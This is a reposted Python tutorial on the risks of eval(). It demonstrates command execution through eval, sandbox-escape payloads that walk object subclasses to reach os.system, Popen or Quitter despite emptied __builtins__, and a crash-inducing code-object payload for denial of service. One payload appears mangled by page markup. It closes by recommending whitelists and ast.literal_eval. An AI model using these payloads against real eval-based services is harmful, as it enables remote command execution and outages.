search
HomeBackend DevelopmentPython TutorialDetailed explanation of the usage of eval in python and introduction to potential risks

This article brings you a detailed explanation of the usage of eval in python and an introduction to potential risks. It has certain reference value. Friends in need can refer to it. I hope it will be helpful to you.

Preface to eval

In [1]: eval("2+3")
Out[1]: 5

In [2]: eval('[x for x in range(9)]')
Out[2]: [0, 1, 2, 3, 4, 5, 6, 7, 8]

When the built-in module in the memory contains os, eval can also execute commands:

In [3]: import os

In [4]: eval("os.system('whoami')")
hy-201707271917\administrator
Out[4]: 0

Of course, eval can only execute Python expressions Type code cannot be directly used for import operations, but exec can. If you must use eval for import, use __import__:

In [8]: eval("__import__('os').system('whoami')")
hy-201707271917\administrator
Out[8]: 0

In actual code, there is often a need to use client data to be brought into eval for execution. For example, the introduction of dynamic modules, for example, there may be multiple crawlers on an online crawler platform and they are located in different modules. The server side often only needs to call the crawler type selected by the user on the client side, and use exec or eval on the backend. It is very convenient to make dynamic calls and implement back-end coding. However, if the user's request is not handled properly, it will cause serious security vulnerabilities.

Safe" use of eval

The most advocated now is to use the last two parameters of eval to set the whitelist of the function:

The declaration of the Eval function is eval(expression[ , globals[, locals]])

Among them, the second and third parameters respectively specify functions that can be used in eval, etc. If not specified, the default is the module included in the globals() and locals() functions. and functions.

>>> import os
>>> 'os' in globals()
True
>>> eval('os.system('whoami')')
win-20140812chjadministrator
0
>>> eval('os.system('whoami')',{},{})
Traceback (most recent call last):
  File "", line 1, in 
  File "", line 1, in 
NameError: name 'os' is not defined

If you specify that only abs functions are allowed to be called, you can use the following writing method:

>>> eval('abs(-20)',{'abs':abs},{'abs':abs})
20
>>> eval('os.system('whoami')',{'abs':abs},{'abs':abs})
Traceback (most recent call last):
  File "", line 1, in 
  File "", line 1, in 
NameError: name 'os' is not defined
>>> eval('os.system('whoami')')
win-20140812chjadministrator
0

Using this method for protection can indeed play a certain role, but this The processing method may be bypassed, causing other problems!

Bypass execution code 1

The bypassed scenario is as follows. Xiao Ming knows that eval will bring certain security risks, so Use the following means to prevent eval from executing arbitrary code:

env = {}
env["locals"]   = None
env["globals"]  = None
env["__name__"] = None
env["__file__"] = None
env["__builtins__"] = None
 
eval(users_str, env)

__builtins__ in Python is a built-in module, which is used to set built-in functions. For example, the familiar abs, open and other built-in functions are all in this The module is stored in a dictionary. The following two ways of writing are equivalent:

>>> __builtins__.abs(-20)
20
>>> abs(-20)
20

We can also customize built-in functions and use them like built-in functions in Python:

>>> def hello():
...     print 'shabi'
>>> __builtin__.__dict__['say_hello'] = hello
>>> say_hello()
shabi

Xiao Ming sets the built-in module in the scope of the eval function to None, which seems very thorough, but it can still be bypassed. __builtins__ is a reference to __builtin__, and under the __main__ module, both are equivalent:

>>> id(__builtins__)
3549136
>>> id(__builtin__)
3549136

According to the method mentioned by Wuyun drops, you can use the following code:

[x for x in ().__class__.__bases__[0].__subclasses__() if x.__name__ == "zipimporter"][0]("/home/liaoxinxi/eval_test/configobj-4.4.0-py2.5.egg").load_module("configobj").os.system("uname")

The above code first uses __class__ and __subclasses__ to dynamically load the object object , this is because object cannot be used directly in eval. Then use the zipimporter of the subclass of object to import the configobj module in the egg compressed file, and call the os module in its built-in module to implement command execution. Of course, the premise is that there is The egg file of configobj. The configobj module is very interesting. It actually has a built-in os module:

>>> "os" in configobj.__dict__
True
>>> import urllib
>>> "os" in urllib.__dict__
True
>>> import urllib2
>>> "os" in urllib2.__dict__
True
>>> configobj.os.system("whoami")
win-20140812chjadministrator
0

Modules similar to configobj such as urllib, urllib2, setuptools, etc. all have built-in os. In theory, any one can be used. If it is not possible To download the egg compressed file, you can download the folder with setup.py, add:

from setuptools import setup, find_packages

and then execute:

python setup.py bdist_egg

to find the corresponding egg file in the dist folder. The bypass demo is as follows:

>>> env = {}
>>> env["locals"]   = None
>>> env["globals"]  = None
>>> env["__name__"] = None
>>> env["__file__"] = None
>>> env["__builtins__"] = None
>>> users_str = "[x for x in ().__class__.__bases__[0].__subclasses__() if x.__name__ == 'zipimporter'][0]('E:/internships/configobj-5.0.5-py2.7.egg').load_module('configobj').os.system('whoami')"
>>> eval(users_str, env)
win-20140812chjadministrator
0
>>> eval(users_str, {}, {})
win-20140812chjadministrator
0

Denial of Service Attack 1

There are many interesting things in the subclasses of object. Execute the following code to view:

[x.__name__ for x in ().__class__.__bases__[0].__subclasses__()]

I won’t output the results here. If you execute it, you can see many interesting modules, such as file, zipimporter, Quitter, etc. After testing, the constructor of file is isolated by the interpreter sandbox. Simply, or directly exit the Quitter subclass exposed by the object:

>>> eval("[x for x in ().__class__.__bases__[0].__subclasses__() if x.__name__
 == 'Quitter'][0](0)()", {'__builtins__':None})

C:/>
If you are lucky and encounter sensitive modules such as os imported into the other party's program, then Popen will It can be used and bypasses the restriction that __builins__ is empty. The example is as follows:

>>> import subprocess
>>> eval("[x for x in ().__class__.__bases__[0].__subclasses__() if x.__name__ == 'Popen'][0](['ping','-n','1','127.0.0.1'])",{'__builtins__':None})
 
>>>
正在 Ping 127.0.0.1 具有 32 字节的数据:
来自 127.0.0.1 的回复: 字节=32 时间>>

In fact, there are many such situations, such as importing the os module, which is generally used to deal with path problems. Therefore, when encountering this situation, you can list a large number of functional functions to detect whether there are some dangerous functions in the subclass of the target object that can be used directly.

Denial of service attack 2

Similarly, we can even bypass __builtins__ as None, causing a denial of service attack. The payload (from foreigner blog) is as follows:

>>> eval('(lambda fc=(lambda n: [c 1="c" 2="in" 3="().__class__.__bases__[0" language="for"][/c].__subclasses__() if c.__name__ == n][0]):fc("function")(fc("code")(0,0,0,0,"KABOOM",(),(),(),"","",0,""),{})())()', {"__builtins__":None})

When running the above code, Python crashes directly, causing a denial of service attack. The principle is to construct a piece of code, that is, a code object, through nested lambdas. Allocate an empty stack for this code object and give the corresponding code string, here is KABOOM. If the code is executed on the empty stack, a crash will occur. After the construction is completed, it can be triggered by calling the fc function. The idea is not unsexy.

Summary

We can see from the above that simply setting the built-in module to empty is not enough. The best mechanism is to construct a whitelist. If If you find it troublesome, you can use ast.literal_eval instead of unsafe eval.

This article has ended here. For more other exciting content, you can pay attention to the python video tutorial column of the PHP Chinese website!

The above is the detailed content of Detailed explanation of the usage of eval in python and introduction to potential risks. For more information, please follow other related articles on the PHP Chinese website!

Statement
This article is reproduced at:segmentfault. If there is any infringement, please contact admin@php.cn delete
Python: Automation, Scripting, and Task ManagementPython: Automation, Scripting, and Task ManagementApr 16, 2025 am 12:14 AM

Python excels in automation, scripting, and task management. 1) Automation: File backup is realized through standard libraries such as os and shutil. 2) Script writing: Use the psutil library to monitor system resources. 3) Task management: Use the schedule library to schedule tasks. Python's ease of use and rich library support makes it the preferred tool in these areas.

Python and Time: Making the Most of Your Study TimePython and Time: Making the Most of Your Study TimeApr 14, 2025 am 12:02 AM

To maximize the efficiency of learning Python in a limited time, you can use Python's datetime, time, and schedule modules. 1. The datetime module is used to record and plan learning time. 2. The time module helps to set study and rest time. 3. The schedule module automatically arranges weekly learning tasks.

Python: Games, GUIs, and MorePython: Games, GUIs, and MoreApr 13, 2025 am 12:14 AM

Python excels in gaming and GUI development. 1) Game development uses Pygame, providing drawing, audio and other functions, which are suitable for creating 2D games. 2) GUI development can choose Tkinter or PyQt. Tkinter is simple and easy to use, PyQt has rich functions and is suitable for professional development.

Python vs. C  : Applications and Use Cases ComparedPython vs. C : Applications and Use Cases ComparedApr 12, 2025 am 12:01 AM

Python is suitable for data science, web development and automation tasks, while C is suitable for system programming, game development and embedded systems. Python is known for its simplicity and powerful ecosystem, while C is known for its high performance and underlying control capabilities.

The 2-Hour Python Plan: A Realistic ApproachThe 2-Hour Python Plan: A Realistic ApproachApr 11, 2025 am 12:04 AM

You can learn basic programming concepts and skills of Python within 2 hours. 1. Learn variables and data types, 2. Master control flow (conditional statements and loops), 3. Understand the definition and use of functions, 4. Quickly get started with Python programming through simple examples and code snippets.

Python: Exploring Its Primary ApplicationsPython: Exploring Its Primary ApplicationsApr 10, 2025 am 09:41 AM

Python is widely used in the fields of web development, data science, machine learning, automation and scripting. 1) In web development, Django and Flask frameworks simplify the development process. 2) In the fields of data science and machine learning, NumPy, Pandas, Scikit-learn and TensorFlow libraries provide strong support. 3) In terms of automation and scripting, Python is suitable for tasks such as automated testing and system management.

How Much Python Can You Learn in 2 Hours?How Much Python Can You Learn in 2 Hours?Apr 09, 2025 pm 04:33 PM

You can learn the basics of Python within two hours. 1. Learn variables and data types, 2. Master control structures such as if statements and loops, 3. Understand the definition and use of functions. These will help you start writing simple Python programs.

How to teach computer novice programming basics in project and problem-driven methods within 10 hours?How to teach computer novice programming basics in project and problem-driven methods within 10 hours?Apr 02, 2025 am 07:18 AM

How to teach computer novice programming basics within 10 hours? If you only have 10 hours to teach computer novice some programming knowledge, what would you choose to teach...

See all articles

Hot AI Tools

Undresser.AI Undress

Undresser.AI Undress

AI-powered app for creating realistic nude photos

AI Clothes Remover

AI Clothes Remover

Online AI tool for removing clothes from photos.

Undress AI Tool

Undress AI Tool

Undress images for free

Clothoff.io

Clothoff.io

AI clothes remover

AI Hentai Generator

AI Hentai Generator

Generate AI Hentai for free.

Hot Article

R.E.P.O. Energy Crystals Explained and What They Do (Yellow Crystal)
4 weeks agoBy尊渡假赌尊渡假赌尊渡假赌
R.E.P.O. Best Graphic Settings
4 weeks agoBy尊渡假赌尊渡假赌尊渡假赌
R.E.P.O. How to Fix Audio if You Can't Hear Anyone
1 months agoBy尊渡假赌尊渡假赌尊渡假赌
R.E.P.O. Chat Commands and How to Use Them
1 months agoBy尊渡假赌尊渡假赌尊渡假赌

Hot Tools

MantisBT

MantisBT

Mantis is an easy-to-deploy web-based defect tracking tool designed to aid in product defect tracking. It requires PHP, MySQL and a web server. Check out our demo and hosting services.

SAP NetWeaver Server Adapter for Eclipse

SAP NetWeaver Server Adapter for Eclipse

Integrate Eclipse with SAP NetWeaver application server.

VSCode Windows 64-bit Download

VSCode Windows 64-bit Download

A free and powerful IDE editor launched by Microsoft

SublimeText3 English version

SublimeText3 English version

Recommended: Win version, supports code prompts!

ZendStudio 13.5.1 Mac

ZendStudio 13.5.1 Mac

Powerful PHP integrated development environment